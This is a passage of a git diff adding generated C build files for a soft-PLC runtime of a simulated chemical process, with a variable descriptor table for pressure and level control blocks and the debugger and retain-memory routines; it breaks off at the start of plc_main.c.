+{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE99_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE99_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE4_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE4_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE5_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE5_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.MOVE7_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE7_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o new file mode 100644 index 0000000..dd4a2c2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick 